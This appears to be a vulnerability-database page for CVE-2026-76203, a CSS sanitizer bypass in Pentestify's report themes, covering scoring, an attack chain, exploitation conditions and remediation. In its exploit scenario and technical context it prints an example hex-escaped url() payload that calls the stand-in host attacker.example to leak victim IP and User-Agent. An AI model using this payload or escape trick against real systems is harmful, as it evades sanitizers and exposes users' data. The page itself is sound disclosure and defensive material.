Skip to main content

Pentestify CVE-2026-76203

| EUVDEUVD-2026-62416 MEDIUM
Incorrect Behavior Order: Validate Before Canonicalize (CWE-180)
2026-08-19 Secur0 GHSA-6xgw-5q2h-p29f
5.1
CVSS 4.0 · Vendor: Secur0
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Pentestify with low-privilege account
  2. Delivery
    Edit or create report theme with hex-escaped url() CSS payload
  3. Exploit
    Submit theme (server-side blocklist bypassed - 'url(' absent in raw text)
  4. Install
    Victim authenticated user opens report in browser
  5. C2
    Browser decodes CSS hex escape and reconstructs url() call
  6. Execute
    Browser issues outbound HTTP request to attacker server
  7. Impact
    Attacker logs victim IP address and User-Agent

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Leading special element handling
Exploitation Conditions

Exploitation requires an authenticated Pentestify account with permission to create or modify report themes - the CVSS vector PR:L confirms that low-privilege authentication is sufficient; unauthenticated access is not exploitable. A victim must be a separate authenticated user who opens a report rendered with the attacker's malicious theme in their browser (UI:P - passive victim browser interaction is required; no click or explicit action beyond opening the report is needed). The attack is only meaningful in multi-user deployments where report themes are shared or visible across accounts; a single-user installation presents no meaningful risk because attacker and victim would be the same person. If the CSS theme customization feature is already restricted to administrator accounts only, non-administrator users cannot inject the payload and are therefore not a threat vector. Impact is strictly limited to disclosure of the victim's external IP address and browser User-Agent - no server-side data, credentials, session tokens, or application functionality is directly compromised.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N) correctly characterizes this as a medium-severity issue: network-accessible with low attack complexity, but constrained by the requirement for both an authenticated attacker (PR:L) and passive victim interaction (UI:P). The subsequent-system confidentiality impact (SC:L) captures the real harm - victim IP address and User-Agent disclosure - while the absence of server-side confidentiality or availability impact (VC:N/VA:N) keeps the score bounded. No EPSS score was provided in the input data, so exploitation probability cannot be quantitatively compared against CVSS. No CISA KEV listing is present, and no confirmed standalone public exploit code exists; the Secur0 write-up and commit diff together constitute a near-complete exploitation blueprint, which modestly elevates practical risk beyond what the score alone implies. The primary real-world limiting factor is that Pentestify serves a niche pentest-reporting audience - deployments are infrequent and the attacker must hold a legitimate account on the same instance as the victim. This is a genuine but narrowly scoped risk, not a widespread emergency.

Exploit ScenarioDerived

An authenticated Pentestify user with theme-editing access creates a report theme and injects CSS such as .header { background: \75 rl(https://attacker.example/collect) } into a theme CSS field; the server-side sanitizer passes the input because the literal string 'url(' is absent. When a victim team member opens any report rendered with that theme, their browser decodes \75 to 'u', executes the reconstructed url() call, and sends an HTTP GET to the attacker's server - logging the victim's real IP address and User-Agent without any visible indication to the victim. No confirmed standalone exploit code repository exists, but the Secur0 advisory at https://secur0.com/en/cna/cve-list/cve-2026-76203-css-sanitizer-bypass-pentestify-report-themes and the commit diff together provide a near-complete reproduction blueprint.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

CSS sanitizer bypass in maalfer Pentestify 1.2.0-2.3.2 allows an authenticated low-privilege user to inject CSS that victim users' browsers silently execute, leaking their real IP address and User-Agent string to an attacker-controlled endpoint. The root cause (CWE-180) is that the report theme sanitizer evaluates its blocklist against raw user input before decoding CSS hex escape sequences, so the literal substring 'url(' never appears in the checked text and the block is trivially evaded using sequences like '\75 rl('. No active exploitation is confirmed (not in CISA KEV) and no standalone public exploit code has been identified, though the Secur0 advisory and vendor commit together form a near-complete reproduction recipe.

RemediationAI

Apply the vendor-supplied fix from the upstream commit at https://github.com/ccyl13/Pentestify/commit/1ed1aadadb02e959af470aac9958462048f7f5f5, which introduces the _decode_css_escapes() function and calls it inside sanitize_css_source() before blocklist evaluation. No specific tagged release version incorporating this fix has been confirmed - verify with the maalfer project maintainer that a patched release is available before deploying. As a compensating control pending the patch, restrict the CSS theme customization feature to administrator-level accounts only; this eliminates the low-privilege attack vector at the cost of removing self-service theme customization from regular users. Alternatively, disabling theme CSS upload entirely closes the attack surface with no residual risk but breaks theming functionality. As defense-in-depth regardless of patch status, enforce a Content-Security-Policy header at the web server or reverse-proxy level with a restrictive default-src or img-src directive (e.g., img-src 'self') to prevent browsers from issuing outbound requests triggered by injected CSS url() calls; note this may block legitimate externally hosted images in reports.

Affected VersionsENISA

Pentestify 1.2.0 <1ed1aad

Affected Packages

euvd pentestify fix: 1ed1aad

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pentestify (CPE: cpe:2.3:a:maalfer:pentestify:*:*:*:*:*:*:*:*) is a pentest-reporting platform that allows users to customize report themes using CSS. The vulnerable component is the server-side CSS sanitizer in backend/schemas.py (sanitize_css_source()), which maintained a blocklist of dangerous CSS functions including url(). CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize) describes the flaw precisely: the sanitizer checked raw CSS text for the literal string 'url(' before resolving CSS escape sequences. The CSS specification allows any character to be expressed as a hex escape - for example, the letter 'u' equals \75, so url( can be written as \75 rl( - and all browser tokenizers are required to decode these escapes before rendering. An attacker submits CSS like background: \75 rl(https://attacker.example/track.gif), which passes the blocklist unchallenged because the substring 'url(' is absent. When a victim's browser renders the report, it decodes \75 to 'u', reconstructs url(), and issues an outbound HTTP GET that exposes the victim's external IP address and User-Agent. The vendor fix adds a _decode_css_escapes() function that resolves hex and literal CSS escapes prior to blocklist evaluation, closing the bypass.

Know when Pentestify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Secur0) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-accessible with PR:L for authenticated attacker, UI:R for victim browser interaction, S:C because victim browsers are affected, C:L for IP and User-Agent disclosure, I:L for attacker-controlled CSS rendered in victim context.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Secur0).

CVSS VectorVendor: Secur0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Incorrect Behavior Order: Validate Before Canonicalize in the report theme CSS sanitizer in maalfer Pentestify 1.2.0 through 2.3.2 allows an authenticated user to force outbound HTTP requests from other users' browsers, disclosing their IP address and User-Agent, via CSS hex escapes that reconstruct the url() function and evade the sanitizer blocklist

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Rare
niche pentest-reporting tool, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy